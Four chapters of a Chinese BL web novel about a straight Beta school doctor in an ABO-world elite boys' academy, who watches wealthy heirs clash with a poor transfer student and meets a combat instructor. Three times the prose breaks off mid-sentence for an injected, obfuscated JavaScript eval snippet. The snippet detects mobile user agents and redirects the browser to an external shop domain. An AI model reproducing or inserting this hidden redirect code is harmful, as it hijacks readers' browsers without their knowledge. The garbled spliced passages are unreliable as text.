《BL贵族男校,但直男路人校医》 1. 第 1 章 “听说我们商学院新来了一个转校生,从贫民区那边被学院破格录用的!” “啊?他被分到什么等级了?” “当然是最低等的D级,等级可是根据家世、能力、人脉这些去评定的,他也配分到更高级别?” “那还好,我们是B级,犯不着跟这种低级货计较。” “那边那个人怎么没穿制服?是学校新来的清洁工吗?” 几个正在大声密谋的贵族男校学生目光齐刷刷看向一旁步伐匆匆的青年。 皮鞋以上,是熨得笔挺的黑西裤和白衬衫。 衬衫勾勒出他纤细腰身,乌黑短发更显得他肤白胜雪。 被当成清洁工的清秀青年白苏:“...” 没想到这些上等人完全是无差别攻击,讽刺瞧不起转学生,奚落他也是顺手的事! 他们现在所在的地方是贵族男校的商学院附近,这座西式贵族男校的建筑物以其宏伟的哥特式主楼和高耸的尖塔,矗立在一片广阔的绿地之上。 灰色石块砌成的外墙经受了岁月的洗礼,尖拱窗户和精细的石雕极为精致。 此时,主教学楼下此时人流涌动,而熙熙攘攘穿着制服的学生中,赫然以四个人形成了中心。 并且还为他们自动分开一条道路。 “天哪,南宫少爷竟然屈尊亲自来学校上课了!”“他旁边的尉迟少爷也是,前几天还在维也纳演出的啊!”“我们真是太幸运了,刚开学就能看见四位全校知名的少爷!” 人群里带着银边眼睛的斯文青年有些困惑地看向那四个横成一排大摇大摆走进教学楼的男子。 这几个人属螃蟹的吗?非要这样霸占整条路? 白苏属实不理解为什么四个人非要这样横着走。 而且这几个人的名字,分明是他妹妹特别喜欢的BL小说里主角的名字! 这是一本修罗场文,出身上流的帅气多金的四个少爷都会爱上贫穷的小白花受,甚至后续不惜为了小白花和家族断绝关系兄弟反目。 这些都是白苏听妹妹说起的剧情,妹妹在提到这些时非常激动,就算他不想听都得被迫听一两个小时的剧情阐述。但白苏虽然穿越,也没想到这本小说竟然成了世界的剧情! 十多年前,白苏穿越来到这个ABO世界。 男人可以分化为Omega,所以到处都在上演各种BL爱情故事。 而这所贵族学校里面的学生各个非富即贵,主角们更是身带各种光环BUFF,万众瞩目是人群的焦点和中心。 而白苏他自己,只是个平平无奇的路人背景板,在这所贵族男校里当校医。 属于这所学校里“阶级”的底层,是NPC一般的存在,除了要找他开药,其他时候不会有任何人给他好脸色。 一般都是直接无视。 白苏是个彻头彻尾的直男,来到这种学校做校医势必会看见各种类型的弯男。 他本应选择辞职,去别的学校任职。 可这份工作吧,它开出了让白苏无法拒绝的条件。 因为它是有编制的那种,公积金顶格交,还有各种隐形福利。 白苏秉着我一个直男怎么能为了这些蝇头小利而折腰的想法... 立刻狗腿地收拾好行李来报道了。 穿越前考公考编足足20年都没考上的白苏无所谓这些主角们怎么乱搞,他只想躺平,每个月领稳定的工资。 毕竟这可是带编制的、不用加班的、福利极好的铁饭碗! 谁都别想从他手里抢走这个工作! 就在白苏愣神的片刻,他立刻被拥挤的人群挤开,还得到了一个白眼:“你是混进我们学校的么?怎么连制服都不穿?” 这所贵族男校制度严格,要求所有学生在上学期间必须穿学校的制服,不允许穿私服。 因此,此话一出,顿时许多审视的不友好目光落在白苏身上。 白苏心里叹了口气,平静退后两步,并未回应他们的问话。 他是刚被招聘进学校的保健室校医,和文化课老师的职级相同,没有必要给这些小屁孩解释身份。 果然,那些学生也并未过多在意白苏,而是继续转头过去看人群中央极为耀眼的那四位。 白苏跟在人堆里也把目光投向其他同学口中的四位少爷。 只见那四个男人确实都身材高挑,长相出众,周身带着矜贵高傲的气质。 白苏从议论纷纷的声音里知道了这些人的名字和家世—— 走在最左边的蓝发男生名为百里枫,来自演艺世家百里家,家族出过无数影后影帝。 百里枫五官柔和精致,皮肤白皙,右耳还带着碎钻的十字架耳环,完全是一副爱豆的打扮。 在他旁边、左数第二个尉迟云蔚则来自更加神秘的世家大族,据说黑白通吃。 而中间、也就是尉迟云蔚右边的老钱风穿搭男孩名叫南宫槿,手腕上的那只江诗丹顿就够买白苏的命。 最右边的男生谷四宜则看起来比其他三个人要年幼些,面容上的娃娃脸还未褪去。 谷家是知名的医药世家,同样富可敌国。 白苏悟了。 反正这四个人就是非常rich,rich到旋转飞天爆炸的那种。 但这种雷人的,全球最富有家族排名第一、第二、第三的说法,还是让白苏有种想要让脚趾头抠出梦幻城堡的尴尬感。 因为实在是太尬太玛丽苏了。 F4各个英俊潇洒,脚步整齐划一走入教学楼。 尉迟云蔚和南宫槿都有些不耐烦周围的噪声,一副“真烦啊我只是想来上课怎么又引起轰动了”的表情。 三分不耐、四分高傲、三分薄凉的霸总神情,在他们的脸上展现得淋漓尽致。 尖叫声突兀响起。一盆冷水忽然从天泼落,把南宫槿直接泼成了落汤鸡。 原本精心打理的发型此刻向下滴着水珠,白衬衫也被水浸湿,隐隐约约透出里面饱满紧绷的肌肉线条。 有围观的Beta和Omega当即红了脸不敢再看:“哎呀好害羞呀~” 白苏:“...” 对了,由于数年前的性别基因变异,女性数量减少,这个世界在女男性别下再次细分了由Alpha、Beta和Omega三种性别组成的三元性别,男Omega可以像以前的女性那样受孕生子。 所以现在男男情侣是屡见不鲜的。 这对白苏这样的直男来说,无疑是一种雪上加霜。 南宫槿正准备去上课,就在众目睽睽下被淋得如此狼狈,自然不可能高兴。 英俊的男人立刻抬起头向楼上看去,震声道:“谁泼的水,现在立刻给我下来!” 尉迟云蔚与他走得近也没能幸免,一边肩头被淋湿,此刻表情也非常不愉快:“竟然有人敢惹到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320505|152442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们头上来,真是活腻了。” 谷四宜从制服口袋里拿出价值上前的手帕给他们:“先擦擦吧,也不知道是谁这么无聊。” 百里枫逃过一劫,看着楼上一晃出现但很快消失的清丽身影,唇边染上几分缺德笑意。 有人要遭殃了。 白苏本来打算回校医室的步伐停下,开始原地伫立吃瓜。 这个下来的人,必然是和其他崇拜F4权贵的路人完全不同的、特立独行的一朵小白花。 他虽然贫穷但永远高傲着头颅,从不为利益而折腰。 只可惜,白苏之前签过保密协议不能够对外透露学校里的工作内容,否则他早就把屏幕按出火星,跟朋友疯狂吐槽了。 几分钟后,一个没有穿制服的男生被另几个一看起来就是恶毒男配的人撵了下来,出现在了F4面前。 南宫槿在看见那面容清秀隐约带着几分倔强的男生时冷笑了一声:“原来是你,你早就对我有意见了,是吧。” 白苏听见有人说:“天哪,这不是商学院新来的转学生吗,都好几天了,他还是没穿校服。”“他家那么穷,就在学校外面开个奶茶店,当然买不起校服,也不知道学校为什么要招收他这样的学生。” 白苏预测人设正确,顿时舒服了。 小白花身后的恶毒男配妆容妖冶,此时立刻心疼地走到南宫槿身边:“槿,你这样会着凉的,都怪我在姜晓想要泼水之前没有及时阻止他!” 南宫槿侧身避开恶毒男配的接触,目光冷然盯着小白花,也就是姜晓。 百里枫也开口帮腔道:“转学生,你刚来就这么拽?就算再看我们不顺眼,也不能做这么缺德的事情吧。” 此时,姜晓才愤愤瞪着他黑白分明的大眼睛说:“昨天你们故意在风纪委员那里陷害我,让我今天被罚搞卫生,又专门让他,”纤长手指指向南宫槿身边的恶毒男配,“在我提着拖把桶经过走廊的时候推我!你们还好意思说这是我做的事!?” 这几天被这些权贵们欺负羞辱的种种,让姜晓尤为气愤。 而南宫槿在听见这水来自拖把桶后,脸彻底黑了:“你找什么借口,如果不是你自己不穿校服,风纪委员又能以什么借口来处罚你!?” 而尉迟云蔚则更加言简意赅,臭着脸往前两步,从姜晓身边经过:“蠢货,下次要搞这种恶心的事,我不会放过你。” 今天当着这么多人的面,尉迟云蔚不想发作,省得被人说成小肚鸡肠心胸狭隘,容易影响家族的名声。 可这句话,却让姜晓十分好笑:“蠢货?我是凭借将近满分的成绩被特招进特雷普尔商学院的,可你呢?” 这所贵族男校的学院众多,有战斗学院、魔法学院等新兴学科,同时也有计算机学院、商学院、社会科学学院这样的传统学科。 战斗学院对身体素质有着非常严苛的要求,不允许Omega和信息素薄弱的Beta入学。 而贵族男校还为数量稀少的Omega设置了特殊的Omega美德学院,为那些已经订婚准备当全职太太的Omega提供绘画、音乐、厨艺等方面的培训。 姜晓这句话霎时间踩了尉迟云蔚的尾巴般让他转过头恶狠狠看向姜晓:“姜晓,你是在找死。” 白苏心中一紧。 尉迟云蔚眼神凶恶狠戾,手里像有好多条人命。 他不会是想对姜晓下黑手吧...? 2. 第 2 章 姜晓却丝毫不惧,扬起下巴看向他:“我应该把那句‘蠢货’原封不动还给你,因为你才担得起这个称呼。” 尉迟云蔚冷笑,看向他身边围观的人:“你们觉得谁是蠢货?如果觉得谁是,就走到他面前说一句‘你是猪’。” 白苏:“...”这个场景,怎么有种似曾相识的感觉?? 在贵族南校里,尤其是在豪门子女比比皆是的商学院,这些学生都非常擅长趋炎附势,平时对F4都是各种讨好。 所以这次他们也一样没有犹豫,一个接一个走到姜晓面前说:“你是猪!” 姜晓的表情几度变化,不敢相信这些人竟然如此厚颜无耻,为了讨好F4会这样下作。 在纷杂人影里,姜晓看着尉迟云蔚得意洋洋的表情,突然走向一旁,拿起了学生会活动后没有收起的扬声喇叭。 下一刻,姜晓的声音响彻整个大厅:“尉迟云蔚,你才是猪!!!” 白苏的心“咯噔”一下,脚趾终于开始尴尬地动工开挖三室一厅了。 霎时间,场上一片寂静无声。 大部分人都被姜晓的气势震慑住了:“他穷得连校服都买不起,竟然敢吼尉迟少爷!”“他是疯了吗,尉迟少爷的母亲是学校的校董,他得罪尉迟少爷肯定会被开除的!”... 此时的姜晓还并不出众,身板略显瘦弱,站在高挑的尉迟云蔚旁像根□□的小豆芽菜。 而且他此时还带着厚重的黑框眼镜,头发也是最简单最朴素的厚重锅盖头,还因为暑假一直在外面送外卖打工而晒得黢黑。 怎么看,都是一副又土又挫的模样。 但白苏明白,等几个月以后姜晓就会彻底变样,慢慢从如今的丑小鸭变成白天鹅。 到时候,F4的目光再也无法从姜晓身上挪开,还会因为姜晓而上演兄弟反目成仇的争爱戏码。 谷四宜的脾气相较于其他三人更加温和,此时解围道:“既然大家各执一词,那之后我会去调监控。现在还是阿槿和云蔚把湿衣服换了更重要一些。” 谷四宜面容恬淡,及肩的黑发柔顺,锋利的五官也因为他的神态而显得柔和了几分。 尉迟云蔚顺势下了台阶,冷哼道:“这次就先放过你。”随后,他和南宫槿大步离开。 他也知道自己就算再生气,也不能当着这么多人的面对眼前这个其貌不扬的穷小子动手。 否则他打人的照片立刻就会被传到学校论坛上。 而百里枫在看了姜晓深深的一眼后,便跟着谷四宜一起去调取监控。 此时,想要难为姜晓所以故意推他的恶毒男配早已面色惨白身体发抖如筛糠:“监控,走廊里肯定有监控...” 谷四宜处事公正从不拿权贵的架子,只要他查到监控里确实是自己故意难为姜晓,推倒姜晓才会让拖把桶的水流下去... 那南宫槿和尉迟云蔚记恨的就不是姜晓,而是他和他的好姐妹了! 站在这个全包眼线猫女眼妆Beta后面的几个Beta都是他的姐妹团,此时全都吓得花容失色。 上一个得罪南宫槿和尉迟云蔚的人,已经被学校开除了! 甚至,连家里的公司都因为得罪尉迟家和南宫家而破产! 他们可得罪不起! 人群逐渐随着F4的离开而散开,白苏绕开主教学楼,这才在建筑物墙体上看到商学院的标志。 白苏工作的校医室离商学院教学楼不远,坐落在钟楼旁,窗外就能看见飞翔的白鸽。 学生们上课,白苏坐在桌前伸了个懒腰。 虽然不知道为什么偌大校医室只有他一个医生,但能这样每天摸鱼拿工资做着清闲的工作... 就已经是很爽的了! 摸鱼一上午的白苏在到点下班时愉悦地想:真希望这样的生活可以一直进行下去啊! *** 顶灯雪白,尘埃在光线里起伏。 四面玻璃与金属质地的天花板将空间完全隔绝,玻璃外倒映出一张张紧张凝视着内部的年轻面庞。 目光汇集之处是玻璃内部,此时三人缠斗在一起。 其中两人身着白衣,更高挑一些的一身黑衣,紧绷的战斗服下是饱满结实的肌肉轮廓。 黑衣男人肩宽腿长,教人看见了便难以挪开视线。 此人以少敌多,本应是棘手的,但极占优势的臂展和拳重让他即使面对身手狠辣的两人同时攻击仍旧游刃有余。 好比战斗机器,每一次挥拳、每一次躲避都精确得像是经过计算。 此时形势已定,白衣二人纵然配合默契,却都面带痛苦,显然是快支撑不住了。 浓郁的信息素被玻璃隔绝,却仍旧让旁观者心有余悸。 他们中的多数都知道,那位在整个特战队伍都是独一份的信息素有多可怕。 □□破空声阵阵,鞭腿和直拳同时向黑衣男人袭来。 分明是极快的速度,可在他眼里却好似慢动作般不值一提。 但不知怎的,就在他即将反扭对方手臂时身形忽地一僵。 但也只是一瞬。 那高挑的黑衣男人只消数秒,就把两个出手迅捷且狠戾的对手制服在地。 甚至,他连呼吸也没有乱,对比被他压制那二人的沉重呼吸,像是冰冷的机器人。 闻行屿移开膝盖,低声说:“今天就到这里吧。” 被他压着的学员站起身,虽然狼狈却由衷道:“闻哥实在太强了。” 闻行屿浓黑长眉蹙起,他闻到了一种特别的味道。 那种似有若无的草叶气味,像是童年时伴随着旧风扇吹过碎花窗帘时扬起的气味。 自带让他心安的熟悉感。 黑衣男人深邃面容在雪白顶灯下更显光影分明,仔细看去,他与周围人穿着都不相同,颇有些鹤立鸡群的味道。 一缕碎发顺着打开玻璃时扬起的微风垂落鬓边,灯光下他的皮肤光洁平滑,在那样激烈的打斗里甚至没有任何出汗的痕迹。 “我都不敢想要是我现在闻到那信息素会有多难受,上次我就坚持了两分钟。”“就算不释放信息素,咱们也不够他打的。”“你当一等功是那么容易能拿的呀,吾等凡人只有仰望的份。”... 围在外面熙熙攘攘的人群在他面前自动散开一条两人宽的道路,议论声也戛然而止。 “下午一对一训练,输的明天开始每周的训练量翻倍。”闻行屿收敛了信息素,目光所及之处所有人都噤声望着他,并没有人在说话。 刹那,战斗系众人爆发出一阵压抑着的哀嚎声。 闻行屿有些好笑,方才冷肃面具如同冰雪消融般消失,取而代之的是游刃有余的笑:“怎么,这都是为你们好啊。” “闻哥,两倍训练量我们第二天根本起不来啊!”见闻行屿脱离了实战训练的严肃状态,学员们才敢讨价还价。 闻行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320506|152442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屿勾着唇角,眉尾一挑:“那你们最好祈祷下午不会输了。” “你们要学会降低对方信息素带来的负面影响。”闻行屿又仔细吩咐了这些新生几句,才宣布下课放学。 在这几天的相处里,学生们都感觉到了闻行屿的平易近人。 除去上课时候的严肃,平时都能够和学生打成一片。 所以大家对他也非常热情:“闻哥,中午一起吃饭啊!”“咱们去吃学校新开的火锅吧~” 甚至,此时训练室外还有许多不需要上此刻的其他系同学,只是为了一睹闻行屿风貌。 所有人都想亲眼见识,有战神称号的、未成年就破格进入特殊作战部队的闻行屿到底有多厉害。 黑衣男人早已成为了当代年青人追随的一个精神符号,象征着勇猛无畏。 还有夸张的追星族,把闻行屿平日背的运动背包都买断了货。 闻行屿摆手拒绝了学生的邀请:“你们去吧,我还有事。” 转身时,方才消失的草叶气味再次丝丝缕缕飘入鼻尖,被敏感的嗅觉捕捉。 奇怪。 自从在战场上腺体受创,他就失去了感知任何Omega信息素的能力,对Alpha信息素的感知也降低了60%以上。 可这味道似乎是从很远的地方而来,却仍旧能够让他清楚地嗅到一缕芬芳。 乌黑短发下男人的面容在明媚阳光里更显英俊夺目,只是冰冷的神色令他多了几分冷峻,少了几分活人该有的生气。 跟着他走出战斗训练中心的学生眼尖地发现他离开的方向:“咦,闻哥怎么往钟楼那边去了?” *** 白苏摸鱼一上午后独自前往教师食堂吃饭,刚坐下便听见屏风另一边有人在说话。 “听说之前以战斗系优秀毕业生参军,在X国立了好几个军功的那位回来了?”女人的声音清脆明亮。 教师餐厅的布置风雅,就餐区的桌子以山水画屏风相隔,增加了空间的隐私感。 “一提起这事儿我就头疼,”男人的声音响起,“那位可是能捅破天的疯子,当时在校期间连校长办公室都敢炸,我可惹不起。” 女人赶紧安慰道:“问题不大,你每两周才一节课要去战斗系那边,安啦。” 学校不愧是贵族男校,教师食堂的饭菜非常精致可口,而且不需要付钱。 白苏并不知道他们所说的人是谁,于是默默开始吃菜碟里的花雕鸡。 那位男老师想转开话题,于是提起了别的事情:“哎哎,你们听说了吗,校医室又来新人了,你们猜这次的人能坚持多久?” 白苏的背脊骤然挺直了。 “我赌一个月。校医室可是小男孩约会的重灾区啊,只要学校发现,就会处罚校医室的医生,一个月肯定不止一对野鸳鸯在那儿发生点什么。” “那我赌半个月,上个医生就是半个月就被辞退了。” “嗨,也不知道为什么非要找个人来坐在校医室,就不能不招么?现在谁还能不知道校医室是用来干嘛的。” 他们所议论的话题中心人物正坐在他们身后,汗流浃背。 白苏这才知道,自己本以为的铁饭碗编制工作,竟然是如此的岌岌可危! 上一个自己岗位上的人,竟然半个月就被开除了啊啊啊啊! 是啊,他怎么会没想到呢,校医室这种场合可是各种小说里发生点什么的重要场所啊! 3. 第 3 章 对话还在继续。 “现在宿管都改成机器人执勤了,大概也是学校高层那边考虑到他们流动性实在太强了吧。” “是啊,男校里这种事情就是多,要管得住那些年轻躁动的小孩,谈何容易啊。” “谁说不是呢?学校得罪不起这些学生,只能用老师开刀了。” 白苏望向面前盘中丰盛的奥尔良鸭腿和水晶小笼包,食欲却早已消失得无影无踪。 他明白,自己既无法阻止那些出身不凡的学生在校医室里做什么,也无法在学校查处这些人的时候逃过处罚。 毕竟正如刚才那位老师所说,这些学生尤其是主角们,家里都和学校董事会有着千丝万缕的联系,得罪他们被炒鱿鱼的机率很大。 可就算他什么也不管,照样会因为失职而被学校处罚。 这对他而言,简直是一个死局。 白苏感觉自己像个小丑。 作为这个世界里最不缺的也是最平庸的Beta,白苏觉得自己并没有什么过人之处。 数量稀少且能够释放信息素抚慰Alpha的Omega被整个联邦视作珍宝,而身体素质、运动能力都超过平均水平还能释放信息素压制他人的Alpha也因为这个群体更强的各方面能力而占据着社会的顶层。 A和O,天然就属于上流社会,正如同这个学校的“贵族”二字以及里面学生的属性一样。 而现在有人告诉他,他不仅要天天看这些AO打情骂俏,成为play的一环,还会被学校迁怒直接被炒鱿鱼。 饭也不香了饮料也不好喝了,白苏失魂落魄回到校医室,却发现门外站着一个高大的黑衣男人。 见他走近时挥了挥手,脸上的笑容看起来很是友善:“你好,我是战斗系的老师,我叫闻行屿。听说你之后会在战斗系轮岗一段时间,所以提前来跟你打个招呼。” “你好。”白苏勉强笑了笑,“进来坐吧。” 校医室内空无一人,两人在玄关处的桌子旁坐下。 “之后就是同事了,加个微信吧。”闻行屿伸出手,示意想与白苏握手。 真好闻。 就像是突然置身于森林深处,土腥与草叶味道混杂,清新而柔和。 白苏在靠近钟楼的过程里,闻行屿能够感觉到的气味就愈发浓重。 那并不是多么馥郁的花香,也并非带着侵略性的味道,只是淡淡的,但像是羽毛拂过心间。 挠得闻行屿心口发热。 听说当Alpha被某个Omega吸引的时候,就会自然而然闻到他身上的信息素气味,并且为之沉迷。 可是他目光所及的美丽青年,根本不是Omega。 这白皙而纤瘦的男人,甚至也不是Alpha,而是个最不可能产生信息素的Beta。 闻行屿虽然表面依旧游刃有余在说着早已准备好的说辞,但心中却疑窦丛生。 从没有医生告诉过他,他的腺体损伤会让他产生Beta很香的幻觉。 闻行屿身材高大自带压迫感,但真诚笑容和闪光的桃花眼削弱了他身材与锋利轮廓带来的侵略性。 大抵是眼前人自来熟的态度让白苏放松了警惕,白苏并没有太多防备:“你和每个新来的校医都会这样打招呼吗?就我所知,上一个被辞退的校医才刚走没多久。” 白苏明白自己本不该这样对刚认识的人说话,但此刻确实心情不佳。 白苏觉得学校里的老师应该都知道校医室的岗位流动性有多强,所以他实在做不到对面前的英俊男人笑脸相迎。 闻行屿听闻此话后露出了然神色:“你听说了?确实是这样。” 白苏心累了:“抱歉,我现在心情特别不好,改天我去战斗系再和你正式认识吧,今天还是...” “我有个办法。”闻行屿打断了白苏的话。 闻行屿想要搞清楚这信息素的真相,就势必要从白苏本人身上下手去找线索。 如果放任白苏被学校炒鱿鱼,或许日后再也遇不到第二个能让他闻到信息素的人。 他已经很久很久没有闻到信息素的味道了,就像是溺水之人抓住了浮木般不舍得放开。 “什么?”白苏抬头看向他。 就在此时,远处忽然传来一阵惊慌的混乱动静,打断了两人的对话:“你好,有人在校医室吗?” 闻行屿听声音便知过来的几个女生男生都是自己带过的战斗系学生,全是大二年级的。 白苏动作快,迈开步子走向门口应道:“怎么了?” 抬头时,一个浑身染血的青年已经被另外几个人簇拥着走进校医室外的长廊:“啊?这是怎么弄伤了。” 青年面容俊秀如玉,只是神情沾染几分寒霜般冷淡。 白衬衣破损了几处染上血迹,服饰虽然低调简单,却都是手工定制的奢侈品。 搀着他的女生在听见这句话时露出几分为难神色:“咳,医生,我们上午在近战演练,两个同学手里的武器都是伤害性比较强,一时间打起来没收住手,所以...” 虽然这女孩是这么解释,但白苏只消看一眼那白衬衣男生的长相就知道这男生肯定是主角。 而身上的伤肯定也没那么简单。 没准伤他的那个人就是他的CP。 不要问白苏为什么这么熟练,问就是浸淫在这个世界多年,已经形成了条件反射式的分析和判断。 而恰逢此时,校医室外回廊的大理石柱子后却突然又走出来一个人:“我说学霸是去哪儿了,原来是到校医室来了,这点伤口再晚点包扎估计都要自己愈合了吧。” 男人声音磁性,语调却颇为阴阳怪气。 扶着白衬衣的女生有些着急:“凌奈,你已经打伤了钟离同学,现在为什么还要添乱!” 白苏回头,刹那就确定这个从柱子后面走出来的男生肯定就是白衬衣的CP。 原因无他,阴阳怪气这位的长相极其精致,左眉中央一道伤疤将长眉截断,高鼻深目,幽深眼眸藏在眉骨阴影里像是平静的湖泊。 身材与白衬衣相近,两人都是190左右的身高,鹤立鸡群。 更何况自从断眉开口后,白衬衣的目光就死盯着断眉,好像整个世界唯有断眉一个人。 等会儿。 白苏聪明的小脑瓜一转:这不是他妹妹看的另一本BL小说的主角么? 凌奈和钟离曜,是一本强强双A文里的CP,两个人从最开始的各霸一方互相看不顺眼,到打过架后开始惺惺相惜,再到一起执行任务后互生情愫,最后情定一生。 整个过程非常浪漫,白苏听妹妹讲得耳朵都起茧子了。 当时他听妹妹口若悬河说这两个男主有多帅,心想能有多帅。 今天仔细看看,确实是挺帅。 但巧合太多,白苏不由得担忧起来:这所贵族男校,该不会是个无数狗血BL故事融合而成的BL大杂烩吧... “如果不是他没用,怎么会被我打伤?”凌奈不仅不否认自己的“恶行”,反而还借此嘲讽起了穿白衬衣的那位。 白衬衣的钟离冷笑一声,原本斯文的面容染上些许恶劣感:“我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320507|152442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伤得更重的恐怕另有其人。” 凌奈讽刺地看着围在钟离曜身边嘘寒问暖的几人:“反正我不会因为这点小伤就被别人扶着来校医室。” “我知道你还想继续打,我奉陪。”钟离曜终于说出了凌奈一直期待的话。 激将法,成功了。 钟离曜转身看着其他几位关心他的同学:“不好意思,你们先回去吧,麻烦你们跑一趟了,我没事。” “这怎么行!”一旁的男生刚才检查过钟离曜的伤口,伤口很深至今还在流血,根本不是钟离曜所说的没事。 “行了,我来处理。”一道有些懒散的男声从校医室内传来。 几个年轻小孩在分辨出这声线后纷纷瞪大了眼睛看向校医室大门,在看到发丝堪堪擦过门框出来的高大男人后恭敬道:“闻哥。” 闻行屿随意瞥了两眼凌奈和钟离曜的伤势,吩咐道:“你们回去吧,半个月没管你们班,净给我整事儿。” 十分钟后。 钟离曜动了动被包扎好的肩膀,有些拘谨地对白苏道谢:“白医生,谢谢。” 大男生姿态从容,即便肩膀手臂缠着绷带,仍然自带矜贵优雅的从容感。 “不客气。”白苏正在用仪器检查凌奈的身体,手套一寸寸按过男生白皙胸口。 从外观皮肤上看不出什么问题,但是听钟离曜说的那句“伤得重的另有其人”让白苏有些不放心凌奈的状况。 可专注检查的白苏没注意到的是,寸头的断眉酷哥早已耳朵发红,耳垂上坠着的银色耳钉也随着他身体颤抖而闪烁着光芒。 凌奈从来不知道,原来Beta可以这么漂亮。 眼前的年轻医生眼睛大而明亮,肌肤如同最精致的瓷器般白皙而细腻,几乎透明,仿佛能看见皮肤下淡蓝色的血管。 脸颊上泛着淡淡的红晕,额头饱满鼻梁挺直,嘴唇像花瓣般泛着浅粉色。 美得像是一尊巧夺天工的雕塑,完全是艺术品级别。 无关原始冲动,无关信息素吸引,只是叫人看着便心生珍惜之意。 偏偏这样的艺术品却有体温、有动作,此时还像是哥哥一样关心地看着他。 闻行屿抱臂靠在门边的墙上,此时才开口问:“为什么打架?” 凌奈冷哼:“看他不爽而已,装货。” 两人气质截然不同,凌奈外貌便痞气十足,薄唇看似多情,说话时也拽得没边。 白苏:“...”好一个装货,高岭之花这辈子也没想到会被这样骂吧! 钟离曜原本一直神色淡淡,整个人像是尊雕像般无喜无怒,却在凌奈这句话之后突然笑了一声。 意义不明的一声短促的笑。 检查到脖颈时,白苏才发现对方后脖颈处红肿了一大片,像是被什么恶狠狠地咬了一口。 白苏蹙眉,他上学时似乎只在Omega腺体治疗的案例里看见过这种情况。 但虽然他是Beta,也能完全感觉到凌奈作为Alpha的超强侵略性。 所以凌奈脖子上为什么会有这样的痕迹? 这毕竟涉及隐私,白苏只是问了一句:“你最近接近易感期了吗?信息素水平怎么样?如果有需要帮助的,及时告诉我。” 凌奈回答:“没有,信息素水平很稳定,只是被某个傻D...” 说到这里,他目光隐晦地瞪了背对他坐得笔直的那人一眼。 如果不是昨晚的事,凌奈无论如何也不会在切磋时下这么重的手。 等会儿出去,他一定要问清楚钟离曜为什么要这样对他。 4. 第 4 章 医疗仪器的声音单调响着,下午明媚阳光穿过窗棂撒入医务室,在冷色调的室内落下块块温暖的光斑。 闻行屿目光在凌奈与钟离曜之间打转,心中已经了然。 检查完毕,白苏叮嘱道:“以后同学间切磋还是不要下重手,好吗?” “知道了。”凌奈躺着,只能看见白苏的小尖下巴以及挺翘鼻尖下的嘴唇。 作为战斗系里知名的好战分子,凌奈没少受伤,也没少来医务室。 但他不喜欢别人碰他,所以宁愿自己处理伤口。 之前那些校医看他的眼神都带着厌恶不耐,像是觉得自己增加了他们的工作量。 可眼前这个新来的校医却截然不同。 分明看到他身上没有伤的时候就可以不管,却还是按着他仔细给他检查,生怕漏掉什么。 凌奈自认为是个敏锐的人,能感知到不同人对自己的态度和情绪。 在他看来,这个长相柔美得有些雌雄莫辨的新校医眼中的关心,不似作伪。 “之后如果有不舒服,也可以打校医室电话,或者直接过来。”白苏继续叮嘱着。 正是如此,他才收起了周身的刺,安静听着对方的叮嘱。 闻行屿不着痕迹地看着钟离曜的拳头越捏越紧,心里已经缺德地笑出了声。 真希望这个小Beta能再讲久一点,让他看看往日总是古井无波好似不会被任何事触动的钟离曜,会不会嫉妒得撕开躯壳,彻底把占有欲暴露在光天化日之下。 可就在钟离曜手背青紫分明的血管悄然绷紧的时刻,白苏却已然说出了结束语:“好了,你们回去吧。” 闻行屿有些失望,但老师的职责让他没有全然成为一个乐子人:“有什么事先沟通,下周你们还要上我的课,我不希望你们中的任何一个缺席。” 钟离曜和凌奈应下,两人谁也不让谁地并肩挤出医务室。 好在医务室的门比寻常房间的门宽许多,否则钟离曜肩膀的伤口必然会结结实实撞在门框上。 待两人出去后,白苏立刻问:“闻老师,你刚才说的方法是什么?我真的很需要这份工作,不想被辞退。” 秋日的微风从未关上的门处涌入,让室内的空气流动起来。 越来越多的草叶气味弥漫在空气里,闻行屿感觉此时的自己就像只吸了猫薄荷的大猫般,有些飘飘然不知所以。 往日紧绷的身体不由得放松了许多,闻行屿眯着眼打量对面的Beta:“我们是同事,你可以直接叫我名字的。” 不等白苏回应,他便继续说:“学校迁怒校医室...” 校医室外忽然传来“砰”的一声撞击声响,打断了校医室里的平和气氛。 白苏着急想要往外走去看情况,却被闻行屿拦住:“嘘,校医室里有监控。” 说话时闻行屿高大身躯拦在白苏身前,为了压低声音而低头将脸靠近他,全然没意识到两人距离太近。 直到闻行屿转身示意白苏跟上他去看监控时,白苏的耳朵仍然因为漫入的低沉沙哑声音感到麻麻的。 一墙之隔的室外。 钟离曜后背抵墙,古井无波的黑眸望着凌奈:“你今天是发什么疯。” 两人走出来后,凌奈突然问他“昨晚是什么意思”,他很困惑就问“什么昨晚”,然后就被一把按到了墙上。 